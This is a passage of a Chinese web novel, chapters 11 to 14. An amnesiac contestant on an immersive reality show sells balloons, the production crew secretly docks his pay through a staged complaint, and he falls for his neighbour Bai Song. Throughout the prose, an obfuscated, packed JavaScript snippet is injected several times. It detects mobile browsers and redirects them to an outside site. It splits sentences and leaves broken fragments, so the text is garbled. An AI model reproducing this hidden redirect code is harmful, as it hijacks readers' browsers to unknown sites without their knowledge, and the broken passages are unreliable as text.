楚余苔对何迟了解甚少，甚至不明白为什么这群人要带这个阴阳怪气的男人一起摆摊，他一手扶着碗一手夹菜，眼睛在几人间来回扫了几下，才恍然大悟原来他们也不喜欢何迟。 他的眼睛停顿在何迟吃瘪的表情上，对柏淞的崇拜简直是无以言表，怎么会有人能这么大大方方的讲出这种话来！ 这般想着，他抬头去看柏淞，才发觉柏淞也一直在看着自己。 两个人对视，楚余苔疑惑地歪了歪头。柏淞偏过头，手握拳放嘴边轻咳了声“反正他不吃，你、你们多吃点。” …… 下午稍作修整，穆浅浅和纪渝两个没成年的小孩被赶回去睡午觉了，另外几人照旧摆摊，于是下午也就成了柏淞和楚余苔一起，何迟和许云岚一起。 虽然说是沉浸式真人秀，大部分时候都需要扮演角色不出戏，但是来要签名或者近距离接触的粉丝数量也挺多的，节目组也做不到全都拦下来。大部分都找个理由签了混过去了。 下午四五点的时候，天昏黄下来，起着微微的凉风。楚余苔做了一天的气球也累坏了，大大咧咧的一屁股坐在了花坛边上，也没顾及地上脏不脏。他将头抵在膝盖上休息了一会，边上递过来一本小本子。 这事他眼熟，上次他被砸就是因为有人问他要签名。 “苔苔，我是你的粉丝，很喜欢你唱的歌，网上都说你性格很差，但是我知道你不是这种人，我喜欢了你很多年了，好不容易遇上能见面的机会，请问能不能帮我签个名？” 楚余苔屁股一挪，人离远了些。好熟悉，同一个套路的仙人跳。 骗他什么？上次那个小姑娘眼泪汪汪哭了很久，楚余苔给她单独做了个气球，在气球上画了个笑脸才把人哄好的，难道费尽心思就为了骗个气球？ “抱歉，我不签名，你可能认错了，我也没有什么粉丝。”他拒绝道。 他起身，要走，站起转身直接撞到了柏淞宽阔的胸膛里，他心头一跳，直到鼻尖闻到熟悉的薄荷味才放心下来。 柏淞搂着他的腰，等人站定了才松了手。刚才他在边上推销气球，余光便看见这边有事情，他想到上次那件事，哪怕心里知道这说不定也是演的，这时候却还是忍不住来看一眼。 “苔苔，我真是喜欢你很多年了，我不是黑粉假扮的，我知道你出道之后一直被黑，但是我想告诉你也是有人一直很喜欢你的。”小粉丝说得有些激动了，说到被黑那段，面部扭曲咬牙切齿。 楚余苔不明白怎么接二连三的有人把自己认错成其他人，他道“可是我只是个卖气球的，真不是什么……歌手？”他琢磨了一下“不然送你个气球？” 粉丝仿佛接收到了信号一般，人一下子来了精神，她凑近神神秘秘的小声道“我懂我懂，你是不想脱离人设对吧！”她点点头“我自己买你的气球，你给我在气球上画个爱心吧。” 楚余苔老老实实画了个爱心。 粉丝“能不能再写个to签，就写…”她噼里啪啦报了一段话，楚余苔又乖乖的写下来。 粉丝“最后就写，爱你的……” 楚余苔停手，两个人对视。 粉丝“好吧好吧，不签名就算了。” 两个人稀里糊涂的交易完，小粉丝一蹦一跳的拿着气球走了，走的时候还语重心长让楚余苔工作加油。 楚余苔蒙蒙的看着粉丝的背影，柏淞问“这么感动呢。” 如果是一个人认错还情有可原，怎么会两个人都认错？更何况他们认错的人好像和自己名字还很像。 楚余苔是觉察到有些不对劲的，他仔细回忆之前看到的日记本，却没找到类似的唱过歌的经历，他不断的回忆着过去，原先已经不痛的脑袋也因此重新泛出隐隐的痛来，楚余苔忍不住皱眉按了按额角。 “柏哥……你今天今天为什么给他们签名？”楚余苔想到上午柏淞也是签了好几个名，忍不住又问了一遍。 “今天不是和你说过了吗，因为我长得帅呗。”柏淞玩笑道，他未曾考虑楚余苔问出这句话的深意，低头看见楚余苔按着额角蹙眉的模样，手没等脑子转过来已经覆上了他的头顶“怎么，不舒服？” 宽大的手掌盖在头顶，摩擦间传来碎碎的声响，手掌前后缓缓抚摸了两下，动作间稍长的黑发蹭着耳尖，传来一阵细微的痒意。 楚余苔轻哼一声，头忍不住向上拱了拱，在手掌上蹭了蹭。 两个人具是一愣，柏淞收手，脸依旧是那副冷淡模样，他手指节轻触了下楚余苔额头，确认了一下对方体温正常，心里舒了口气，然而二人间气氛实在怪异，柏淞想了想还是提醒道“别老是撒娇。” “我没撒娇。”楚余苔惊讶着眼睛睁得溜圆。 柏淞看他这小猫样的圆眼睛，实在说不出什么重话“行了，不是不太舒服吗，收拾收拾和他们说一下，收工回去了吧。” 眼看天色似墨一般倾倒下来，他们摆摊仓促也没准备夜灯，晚上是不好再摆摊了，楚余苔被这么一打岔也就来不及想其他的了，一边想着自己什么时候又撒娇了，一边收拾东西。 等和另外几人集合，穆浅浅和纪渝下午也过来帮了会儿忙，他们也是看天色暗了收拾起来了东西，只是这边摊子东西多，收得比较慢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392192|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几人收好东西，楚余苔才发现何迟不在，他倒不关心这人去哪里了，只是一起来的总不能丢下他一个人就走了，于是问道“何迟呢？” 许云岚和穆浅浅都尴尬地笑了下，纪渝心直口快，才不管什么面子不面子“他在那边树底下偷懒呢，下午要不是我们来了，就只剩云岚姐一个人看摊子了。” 正说着，何迟也缓步走了过来。 “噢，要走了就知道回来了。”纪渝哼道。 何迟脚步一顿，脸上顿时露出那副可怜模样“我下午的时候有点不舒服，也是和许云岚说过的，她也同意的，怎么就成了我故意偷懒了。” 纪渝还想吵，柏淞拉了他一下，这话一出纪渝再说什么都不占理了，还显得刻薄、斤斤计较。 楚余苔见此也赶紧转移话题“我们先搬东西回去吧，这些东西搬到车上也还要走一会呢。” 纪渝哼哼唧唧，但是柏淞拦着他也不敢说话，憋着气搬东西。东西还是和来的时候一样，放柏淞车上由柏淞带回去，剩下来五个人，柏淞把手机给了纪渝，让他自己扫辆共享单车和他一起走，这样子其他人正好打车一道走。 几人最后是在纪渝家里集合的，这边离其他几个人的房子都比较近一些。将今天的成果拿出来算了下总账。扣除掉午饭和前期的投入，除了他之外其他几人的算下来一个人能分四百多，靠近五百块钱。 几个人都没想到一天能挣这么多，纪渝眼珠一转“那也不该平分吧，劳动量都不一样啊，小苔哥哥是做了一整天气球的，有些人可没这么大工作量。” “你这是拐弯抹角的说谁呢，我身体不舒服休息了半天确实也不应该这样子分钱，不然把我的给楚余苔算了。”何迟道。 “噢，你也知道自己没干活？我本来只是觉得我柏哥没干啥事就动动嘴皮子，既然你这么自觉，那这钱是应该重新分一下。”纪渝计谋得逞，尾巴都要翘到天上去了。 楚余苔自然不可能拿这笔钱的，不过何迟活做的少也是不争的事实，不过最初的设想是按照分红计算，大家投的钱是一样的，只是没想到会有人会一整个下午都没帮忙。 楚余苔见大家都没什么意见，摆摊这事也是自己组织的，索性就拍板了“不如给二分之一吧，剩下来那部分你们那组再分一下，这样子也算补了那部分工作量。” 这法子公平公正，几人也无异议。何迟适时地露出一副委屈模样，他那边的直播弹幕也成功被激了起来。 [啊啊啊我们迟迟好可怜，被针对了！！] [人都有不舒服的时候啊，干嘛揪着这个斤斤计较，也太小气了吧，几个人身价这么高还在和这点钱吗。] [迟迟不然我们就不录了，别老是受这委屈] 弹幕吵得凶，与此同时的节目组也乱成一锅粥。 “郭导！！咋整啊！他们今天一天就赚了四百多啊！这三个月都不用，就能完成任务了吧，那我们节目后面咋拍啊！” 《人生重启计划》节目组虽然说是沉浸式真人秀，但是主线任务是确定的，每个人都是2500的工资，只要靠自己的努力三个月算上工资收入一万五就能完成挑战。 这次节目的几个人进入状态太快，第一周的第一个休息日就赚了这么多钱。按照规矩收入达到要求之后，后面的生活的就没有金钱压力，一律花销节目组来负责。 前几期大部分都是在最后一周卡着点完成的任务，按照这期的进度，再加上楚余苔平时摆摊的积极性，这节目到第二个月他就能完成任务了。 “不行不行，其他几个倒还好，他们的进度是正好的，楚余苔这不行，他赚的太快了我们节目效果就没了。”郭导看着屏幕咂嘴摇头。 “这样子”郭导点了下场务“你们周一找人，把楚余苔的钱弄走点。” 12. 第 12 章 周日，几人商量后分了两拨人摆摊，楚余苔和纪渝穆浅浅三人负责上半天，其余三人摆下半天的，这样子几个人都得了半天的休息时间。 或许是周六那天摆摊效果不错，周日尽管只摆了diy手链的摊没有卖气球，来买东西的人却多得很，一个摊位就赚了快两千。这笔钱分下来，算上楚余苔平时晚上去游乐场卖气球的钱，也攒了有八百多的零钱了，楚余苔想到上次柏淞给他代付的药钱，又还了一部分过去。 柏淞没收“摆摊做气球全是你做的，我也就张张嘴的事，就当是你的辛苦费，谢谢你带我一起赚钱了。”他说得诚恳，楚余苔也就应了下来，想着以后多带着柏淞赚钱，也算是还人情了。 “小有资产”的楚余苔在周一上班的路上特意留意了一下路边修手机的店铺，他琢磨着要换个智能机，老年机总归到处都不方便，如果换成智能机平时扫共享单车上下班也更方便一点，不然每天晚上卖气球到十点多，连公交车都坐不到。 他一路上已经想好了这笔钱怎么花，这八百花起来快，买完手机再投入一笔资金继续赚钱，就又只剩下紧巴巴过日子的钱了，在上班空闲是，楚余苔不得不去思考还有什么能赚钱的项目。 他还记着自己失忆这回事，太多事情等着要花钱，光靠摆摊的收入，显然还是不太够的。 “拿五个茶叶蛋。”有客人来了，楚余苔回神继续工作。 客人头戴鸭舌帽，戴着口罩，只剩下一双眼睛露在外面。楚余苔有些好奇，没忍住多看了一眼，对方敏锐地将鸭舌帽压得更低了些，将自己全然遮掩了起来。 楚余苔自觉冒犯，收回了目光，他道：“一共十块钱。” 对方扫码付了钱，开口“你给我把壳全都剥了吧。” 这个点人少，顾客的要求自然是要满足的，楚余苔笑了下，低头隔着塑料袋剥壳。柜台这边没有一次性手套，刚捞出的茶叶蛋又烫得很，他剥得艰难，指尖被烫出深粉色。 将剥出的鸡蛋重新放入新的塑料袋内，楚余苔将袋子递给顾客。 “啧，你这动作也太慢了，这鸡蛋都冷掉了。”那人才结果袋子，手心触及鸡蛋，嘴里已经埋怨出声。 他重新递回来“你给我加热一下，这个温度的我吃不了。” “抱歉，鸡蛋不能使用微波炉，”楚余苔摸着鸡蛋，五个鸡蛋透出温温的热度，捂久了甚至掌心还有些发烫。他解释道“鸡蛋里面温度会稍微高一点，这个温度是正好可以入口的。” “呵”对方冷笑一声，“这鸡蛋是我吃又不是你吃，我觉得冷了，我说了我吃不了。你能不能加热？如果不能加热我就不要了。” 他嘴里说着咄咄逼人的话，手上将帽檐压得更低了些，楚余苔看不清他的脸，只能看见对方愈发红起来的耳朵。 “抱歉，这个鸡蛋都剥了壳的，影响二次售卖，不能退了的……” “那你现在的意思就是一定要我买？你这不是强买强卖吗！哪有你们这种黑店的，你、你是不是有提成能拿？为了赚钱真是、真是……真是一点脸都不要了！你工号多少，我要投诉你！”对方或许是气急，声音带着些卡壳。 楚余苔忍着火气，“抱歉让您感觉到了不愉快，不如我这边私人把钱给您，就当这茶叶蛋是我买下来了。”他掏出来一张十块钱，低头致歉。 对方动作一顿，讲话愈发结巴起来“你、你怎么……” 他气势短暂的降低了些，店内安静片刻，他又颇为刻意的一拍桌“哼，我看你就是怕了，才这么说的！”他将这十块钱迅速的抽走塞入自己口袋“别以为你这样子我就不投诉你了，你这工作态度，我一定要找你们老板！” 顾客骂骂咧咧地走了，步子却稍显慌乱。楚余苔低低地叹了口气，心里清楚这投诉估计是躲不掉了，一次五百，手上的钱还没捂暖，莫名其妙就又飞走了。 …… 这般提心吊胆的等了一下午，晚上七点多，店长来了店里，开场就是一句“小楚啊，你今天吃了个投诉啊。” 楚余苔老老实实讲了缘由，他还寄希望于老板通情达理，不会罚这笔款。 店长许是也没想到这事这么离奇，挠了挠鼻尖。这事如果是普通员工，他自然是不会罚钱的，不然店员肯定心里有怨念，但是这是节目组要求的……作孽哟，这坏人怎么就轮到他头上了。 店长心一横“哎呀小楚啊，不管怎么说这投诉你是吃了的，按照规矩就得扣钱。”他也知道自己讲这话没理由，想了想又找补道“你也是不会变通，下次遇上这种人就别太犟，你退一步不就没事了……咳，这五百块钱我就从你下个月工资扣了，下次别犯了哈。” 楚余苔低声应了声，一下子没了五百的工资，又是这种莫名其妙的原因，心里实在憋。如果不是这狗屁十倍赔偿的条款，他这时候肯定拍拍屁股走人了，走的时候还要把这狗资本家挂路灯上挂一天一夜。 他心情低落，柜台上又递过来一盒便当，随手一扫“你好，一共……”抬头，看见来人他一顿 “柏哥。”楚余苔低声喊了句。 柏淞来得早，把两个人对话听全了，他心里清楚肯定是楚余苔赚钱赚太快了，节目组想着法子从他手里捞钱呢，不过看楚余苔恹恹的模样，显然他还没想通这一点。 楚余苔看了眼手里的饭，又看了眼墙上的时钟，这时候已经七点四十九了，便当过一会就要贴打折的价签了，他思索片刻，将方才扫的码删了“柏哥你等我会儿吧。”店长就在边上查货，他不好直接讲出来。 等？等什么？ 柏淞也看了眼时间，他还记得楚余苔八点下班，总不会是受了委屈是想和我一起下班吧？这也太粘人了些，柏淞心里暗暗叹气。 柏淞道：“我走路来的，不能带你回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392193|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他当着镜头的面讲话还留有余地，没直接说不想和他一起下班。 楚余苔在收拾东西，听了这话讶异“啊？不用，我可以自己回去” 柏淞心里又叹了口气，既然不是想和我一起回去，那是单纯的想和我多呆一会儿？他被许多人追求过，但是像楚余苔这样拒绝好几次都不依不饶的还是极少的，他想到楚余苔今天才吃到的投诉，心里退让了一步——总不好让他接二连三的受挫。 八点整，楚余苔正好贴完所有的打折标签，他给自己拿了一盒饭，又将柏淞刚才递给他的那一盒一起结了账，这才满意地递给了柏淞，等个几分钟就能省七八块，划算！ 同店长道别后，两个人一前一后的往公交站台走去，柏淞步子大，走得快，楚余苔落他半步跟在后头。走了会儿，楚余苔急走了两下，两个人并肩同行。 楚余苔跟着柏淞的步子有些吃力，他时不时抬头自以为隐蔽地偷看一眼，心里有些话犹豫要不要开口，殊不知高他一个头的柏淞余光一撇就将他的姿态尽收眼底。 柏淞见他这副吞吞吐吐的模样，一时也警惕起来，电子果蝇还开着呢，他不会是想在这个时候再告白一次吧？那岂不是真被他捆绑上了。 “柏哥……“楚余苔开口。 柏淞及时打断“不用说，我知道。”好悬，差点让他讲出来了。 楚余苔眼睛一亮，松了口气“柏哥你记得的呀，那你是不是现在身上没零钱。” “是……什么？” “你那份饭十二块八呀，哥你有零钱的时候给我就行。或者我给你抹个零，给我十二块五就成。”他没注意到柏淞愈发难看的脸色“当时老板在我不好直说，你下次买也记得再等等，晚上八点打折…或者我下班要是不去摆摊就给你带，反正我俩住得近。” “……我知道了，不会少你的。”他咬牙道。 楚余苔翻了翻包，翻出来下午那五个茶叶蛋，总归钱也赔了，这蛋就是自己的了“柏哥，你饿吗，我请你吃茶叶蛋。” “这就是你被投诉的那鸡蛋？”柏淞看了眼蛋，问道。 “啊你听见了啊，是啊，总价510的天价茶叶蛋。”楚余苔轻笑了声，自嘲道。 “那这蛋我可吃不起。”柏淞心里不爽，暗戳戳刺道。 楚余苔没听出来“我请柏哥你吃呀，有点冷了，但是味道还不错。”他想递一个给柏淞，却想到这东西脏手，略思索了一下，抬手将茶叶蛋举到了柏淞嘴前。 柏淞觉得自己像只被溜的狗，拴着绳被耍了一圈，回来被主人夸了句好狗，还能吃口狗零食。 柏淞低头咬了口，确实凉了，味道也确实不错。 他两口吃完，淡淡道：“还不错。” 昏暗的公交车站，两个人站着分完了五个蛋，不知道是不是心理作用，柏淞只觉单价一百多的茶叶蛋确实比两块钱的好吃很多。 13. 第 13 章 公交车是末班车，坐的人少，楚余苔先坐到了公交车后边的空位上，他拍了拍边上的位置，热情道“柏哥，来。” 柏淞过去坐下“你今天不去游乐场卖气球了？”，他还是第一次同他两个人一起等公交，这才想起是因为之前楚余苔都要去游乐场，遂询问道。 “我给纪渝发了消息了，今天不过去。最近在游乐场卖了一周，买的人少了，得再想想其他赚钱的办法。”游乐场人多，但大多都是附近住户带着小孩来玩的，前两天家长涂个新鲜，小孩吵吵嚷嚷缠一会儿也就付钱了，但是到周四周五愿意再买第二、第三次的人就少了，收入也骤降许多。 这般想着，楚余苔又想起身上还有存款。今天被扣的是还未发的工资，还有得等，不如先拿这笔钱换个手机，或许网上赚钱的机会更多一点。 早上他粗略的看了街边几家修手机卖手机的店铺，心中还是怕花冤枉钱，想了想他侧头问道“柏哥，我想换个二手的手机，你知道边上哪家店便宜点吗？” 柏淞也没想到这辈子会有人问他这个问题，他用过的唯一一个二手手机就是手上这个，上哪知道哪家店的二手比较便宜。还没开口，柏淞又想到了“找什么店铺，之前节目、咳，郭叔他们不是说了吗，两百块钱可以去他们那边换个，优惠价。” “郭……郭叔？”这是楚余苔还未解锁的新人物，听柏淞口气应该是两个人都认识的，他脑子里转了几个弯，措辞道“那我要怎么……” 柏淞轻呵了声，他知道楚余苔工作不上心，却没想到这么不上心，节目前讲的几点注意点他是一个都没记住。“之前大家都在的时候不是说了吗，拿钱直接联系他们就行。” 楚余苔又两眼一抹黑了，他手机里除了纪渝他们几人当时摆摊换的电话外，也就存了店里店长和小林的号码，他不晓得这郭叔是谁，又哪来的联系方式。 楚余苔踌躇片刻，却还是忍不住这两百块钱换手机的诱惑，硬着头皮道“柏哥你什么时候有空了能不能带我去，我不太认路。”他不知道这话说的对不对，也不知道这个郭叔同他俩关系亲近不亲近，心中忐忑异常。 柏淞脑子没转过弯来，这东西直接打个电话叫节目组送过来就行了，要认什么路？当初开拍前也是签好的协议，真人秀参与者不能靠近节目组营地，不管怎么样都不至于自己去取。 他扭头看向楚余苔，公交车座位靠得近，两个人扭头间距离便缩得更小，柏淞甚至觉得自己能数楚余苔颤抖的睫毛根数。 “你要我和你一起去？”柏淞低声问道。 “不行吗？”楚余苔眼神中透露出些许的疑惑，“那你把路线告诉我，我自己去？”他只当是柏淞不想和自己待一起，毕竟自己还留着“暗恋未遂”的前科，也善解人意地退了一步。 柏淞也分不清楚余苔这是记性不好还是真没听，心知当着镜头要解释起来也麻烦，干脆直接道“你把钱给我吧，明天给你搞。”他总觉得有些怪异，却想不清楚是哪里不对劲。 楚余苔松了口气，没说错话就行。 两个人之间一时沉默下来，只余下公交车行驶时低频的嗡鸣声，这声音催眠，楚余苔眼皮不禁耷拉了下来，几番挣扎却无果，头一歪，额头顶着柏淞的肩，沉沉睡了过去。 柏淞只觉肩头忽地一沉，低头一看，一个毛茸茸的脑袋就倚在自己肩上——又来了，勾引人的小手段。 柏淞自然是不会纵容这种阴谋诡计，他微微皱眉，伸出一手按着楚余苔的肩将他往右侧推，手动把人扶正。 楚余苔睡得昏沉，换了个姿势也未察觉，头随着车辆前进的动静一点一点的，小鸡啄米似的。车辆时有颠簸，他身体也就一晃一晃的。他晃得厉害，头一侧，人险些栽到地上去。 柏淞余光一直注意着楚余苔这边的动静，这时候一手迅速拽住楚余苔的胳膊，手上一用力，往外栽去的楚余苔又一个惯性倒在了柏淞肩上。 这一下给楚余苔颠醒了，他惺忪地半眯起眼睛，见是柏淞，含糊不清地喊了声柏哥，脑袋在柏淞肩上蹭了两下，柏淞身上独有的薄荷味传来，楚余苔嗅了两下，只觉人愈发迷糊起来，眼睛一闭头一沉。 得，又睡着了。 柏淞有些好笑，看他这副睡得乱七八糟的模样，应该不是演的，这是真困。 公交车缓缓开了二十来分钟，楚余苔也就这样子靠在柏淞肩上睡了二十来分钟，他睡得很死，两耳不闻窗外事，车辆中途上客下客乱糟糟的声音也丝毫未影响到他的睡眠。等车到站时，柏淞将人喊起，楚余苔还发蒙，呆呆的盯着柏淞的脸没反应。 柏淞瞧着他这模样，眼睛是一大一小的，鼻尖和额头因为顶着肩膀顶了太久，都泛着红。特别是额头上那一块，足足占了半个额头。 真不懂一个男人怎么皮肤嫩成这样子，才睡了多久，怎么一压就是一个红印。柏淞忍不住笑了声，前头司机见有人按了铃却没下，已经不耐烦地催促了两声了，柏淞怕坐过站了，这时候也不管三七二十一先拽着楚余苔的手腕先下了车。 两个人就这样牵着手从公交车站走回了小区，又一路上了五楼。 “钥匙在哪儿？。” 门口，柏淞见楚余苔站着发呆，没有要开门的意思，他本来要进门的动作也是一顿。他心说应该不至于困得睡门口了吧，又真怕第二天早上开门见到门口躺着个人，于是凑近了两步，又低声问了句。 楚余苔眼睛又快闭上了，他或许是睡蒙了，整个人向前一倒直接扑在柏淞怀里，脑袋埋在柏淞的肩颈处，他轻声道“好累啊……” 楚余苔温热的鼻息蹭人柏淞脖颈处，柏淞只觉浑身毛都快要炸起来了，他还未将人推开，就听见楚余苔吐出来剩下来两个字“妈妈……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392194|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >成，还升了个辈分。 柏淞手一顿，转手轻轻拍了拍楚余苔的背，手按着他的肩将人从怀里扒开。他轻笑出声，语气中带着些许的无奈“有这么困吗。” 于是伸手直接掏了楚余苔的兜，开门，放钥匙，把人带进屋里拉到床边，拿下楚余苔手腕上挂着的盒饭放到桌上，走人关门，一切动作行云流水般。 “下次不能让他在外面睡着了，怎么睡一觉人都睡傻了……”楚余苔听着柏淞念念叨叨的出门。门轻阖上，他睁开眼，温吞吞地将自己裹进了被子里。 胸膛内心跳不断地扑簌簌地跳动着，楚余苔方才确实是睡蒙了，柏淞身上的薄荷味道清冽，却莫名带着股安全感，他靠着柏淞的肩膀不知不觉睡了许久，直到被拽着手腕下了车，迎面的凉风灌入衣领，他才恍然醒了过来。 或许是柏淞牵着他走路的模样太过温柔，借着路灯昏暗的光，楚余苔定定地看着二人的手，他自初中开始就一个人赚钱时候，或许是太久没有被这样子关心过，又或许是因为他本就是一个极为贪心的人，柏淞自手指缝间漏下来一点点的温柔，他便忍不住得寸进尺，心安理得的去享受更多。 于是他一路被牵到了门口，还未等他想到以什么理由解释一路上的沉默，柏淞已经先入为主的以为他还没睡醒了，他靠得很近，楚余苔脑子一顿，身体已经先一步靠了上去。 “真糟糕啊楚余苔。”他低低地呢喃道。 “好累”是真，想妈妈却是假。他亲缘浅，对父母恨比爱更多，哪有什么想不想，只是仓惶间随意找的借口。 楚余苔在被窝里缩了许久，里头氧气越发稀薄，他憋得脸通红，这才从被子里拱了出来。他这时候也没了胃口吃饭，将带回来的便当放在了冰箱里，起身去浴室洗漱一番，回来后带着潮湿的头发又缩进了被子里。 外套此时还挂在床头，上面还余留下浅浅的薄荷味，楚余苔忍不住取下外套将整个头蒙在外套下，他闭上眼睛，鼻尖处不再是泛着霉味的出租屋，而是公交车上轻微晃动的肩膀。 真糟糕啊楚余苔，知道对方是直男，已经被拒绝过一次了，在失忆之后还是毅然决然的喜欢上了对方。 [他们刚刚……] [我在做梦我在做梦我在做梦，我不信我不信我不信，我不信！！！] [他们刚刚牵手了对吧……是一路牵着回来的对吧……] [他俩是真的（晕倒）（乱叫）（在光明的角落到处乱爬）] [受不了了，磕这种阴间cp能不能别在弹幕上乱叫啊？恶心得我昨天的午饭都要吐出来了，明眼人都能看见苔渍演了一路，要不是柏淞脾气好，早把他丢公交车上了。] [柏淞：脾气好，你打这字的时候你自己不乐吗。] [柏淞这狗脾气居然小心翼翼牵了一路回来，啊啊啊啊我就说他俩能磕吧！] 14. 第 14 章 楚余苔做了许久的心理建设，对他这个gay来说可能昨天晚上的气氛过于暧昧了，但是柏淞是个直男，是明确告诉过他性取向的直男，对方一定不觉得两个男的之间牵手有什么怪异的。 或许是发现自己心里起了些见不得人的心思，楚余苔早上出门时还做了些心理准备，趴门上听了会儿隔壁的动静才开的门，又快速的溜了出去。他怕撞上同样出门上班的柏淞，一不小心露馅就不好了。 中午时穆浅浅和许云岚两个人溜到了便利店，许云岚最近炒菜技术见长，总算能做出来色香味有一可取之处的饭菜了，今天做的芹菜炒肉，她和穆浅浅两个人工作的地方离得近，先吃了一点，另外拿外卖盒带了些过来分给楚余苔。 “楚老师，你别看这菜简单，我们云岚姐可是正儿八经学了一礼拜的呢。”穆浅浅递过盒子，与有荣焉道。 楚余苔接过，他拿了两瓶果汁递过去“那我也尝尝许老师的手艺，请你们喝果汁？”他不知道为什么要喊老师，但是入乡随俗道 穆浅浅摆了摆手“哎呀楚老师，这个太甜了，我们俩都减肥不喝果汁。” 许云岚也笑到“不用这么客气，我们还没有谢谢楚老师带我们一起赚钱呢，你出的力多，还和我们平分的钱。我自己做的菜也不贵，算是拿饭店的材料借花献佛？”她想了想又道“以后楚老师喊我云岚吧，我俩年纪差不多，也不用那么生分。” 楚余苔这几天同她们相处下来，也知道这不是客气话，于是从善如流的改口喊了云岚，又喊了声浅浅，他道“那你们也是同样喊我名字就行，我们都是朋友嘛。” 穆浅浅跟着纪渝一样喊的小苔哥哥，许云岚则是喊的小苔。她俩又拿出一份菜来“小苔哥哥，你把这份放保温柜里热着呗，等会儿纪渝上班前过来拿，我们说好了。” 楚余苔收下，脑子里却想着纪渝来是不是柏淞也来？他俩关系好，除开上班时间其他时候总是待在一起的。 他应了声，穆浅浅和许云岚二人送完东西就走了，没过片刻纪渝过来取东西。他工作时间是下午一点到晚上十点，这会儿也才醒没多久，跳过了早饭直接来这里吃的午饭。 楚余苔见他进来将饭拿出来递给他，眼睛不自觉地往门口看了好几眼，等了一会才确认，应该是只有纪渝一个人过来的。没见到柏淞，说不清是遗憾亦或者是松了口气，他悻悻收回目光。 纪渝是个小人精，一边吃饭两只眼珠子就跟着楚余苔的目光走，他咽下嘴里的饭，问道：“哥，你找我柏哥呢？” “没、没有啊。”楚余苔条件反射道，他说完又觉得有些欲盖弥彰了，抿了抿唇，解释道：“昨天柏哥说帮我带个手机来，我等那个呢。” 纪渝也没多想“也是噢，我也攒了挺多钱的了，也可以去换个智能机，但是又怕后面没钱吃饭。”他嚼了两口饭，想到后面能蹭许云岚的饭，“哥等我过两天也换个手机，你加我个微信呗。”他期待道。 楚余苔自然不会拒绝。 楚余苔是到晚上快下班的时候才又见到柏淞的，柏淞动作很快，来的时候给他带了个智能机，和他自己用的那个还是同一款不同色。 “给你充满电才拿过来的，我给你把手机卡换了？”柏淞看了眼时钟，还差几分钟楚余苔才下班，问道。 楚余苔点点头，将自己的老人机掏了出来。 楚余苔没想到两百块钱的二手手机质量还挺不错的，除了轻微的使用痕迹外，使用时系统很流畅，屏幕也完好无损。他拿到后先打开微信，用手机号注册了个微信号。 来接班的小林今天迟到了一会，楚余苔站着捣鼓了一会儿，等小林来了才收起了手机，他这才想起柏淞还在等他。 “啊柏哥，我搞忘了，耽误你时间了，你要买什么？”他心虚地收起手机。 “不买东西，给你送手机的。”柏淞倒没什么所谓，反正下班了也没事干。 “噢……”楚余苔拿着包，两个人往外走。 这地方去公交车站要走一段，但是便利店门口就是共享单车的停放点，两个人也就没坐公交车，骑的共享单车。这边的共享单车是二十分钟记次费的，超过二十分钟就再加两块钱，楚余苔看了眼时间，现在正好八点零五。 或许是昨天那事太尴尬，两个人都没说话，只听得自行车链条转动的刷刷声。最近气温有回温的迹象，迎面来的风微有些凉，却不冻人，天上明月高悬，莹莹月光掺杂着路灯的灯光，除了各怀心思的二人外，其余一切恰到好处。 骑了一段时间，楚余苔稍放慢了点速度，看了眼手机，离二十分钟只差两分钟了。他犹豫片刻，还是开口道：“柏哥，我们前面停车，剩下来几百米走路回去吧。” 柏淞没把这两块钱放心上，自然也不知道为什么要停车走回去，他道“小区门口不也能停车吗？” 楚余苔支吾两声，总不好说为了省两块钱，这也太挫了。 他纠结了会儿“感觉今天晚上天气挺好的，散散步也好。” 柏淞懂，这是想和自己多呆一会。 按照自己的原则，他是应该要拒绝楚余苔的，别老是想和自己同镜头蹭流量，也别老是勾搭自己。柏淞思索片刻，如果自己不答应，等会儿楚余苔肯定又撒娇，使些小手段哄自己答应，还不如现在就同意了。 于是柏淞毫无原则地停车了。 还车时正好19分46秒，差一点点就要扣四块钱了，楚余苔想到省了两块钱就开心，付钱的时候眼睛满含着笑意。 柏淞看着他，脑子里莫名纠结了一下，“楚余苔这么喜欢我，如果他下一次再表白，我还要不要拒绝他？”，他被这个念头吓了一跳，木着脸转头走了。 楚余苔已经习惯了柏淞这阴晴不定的性格，还了车跟在柏淞后面，他今天拿到了新手机，刚刚又卡时间卡的很巧，这时候心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 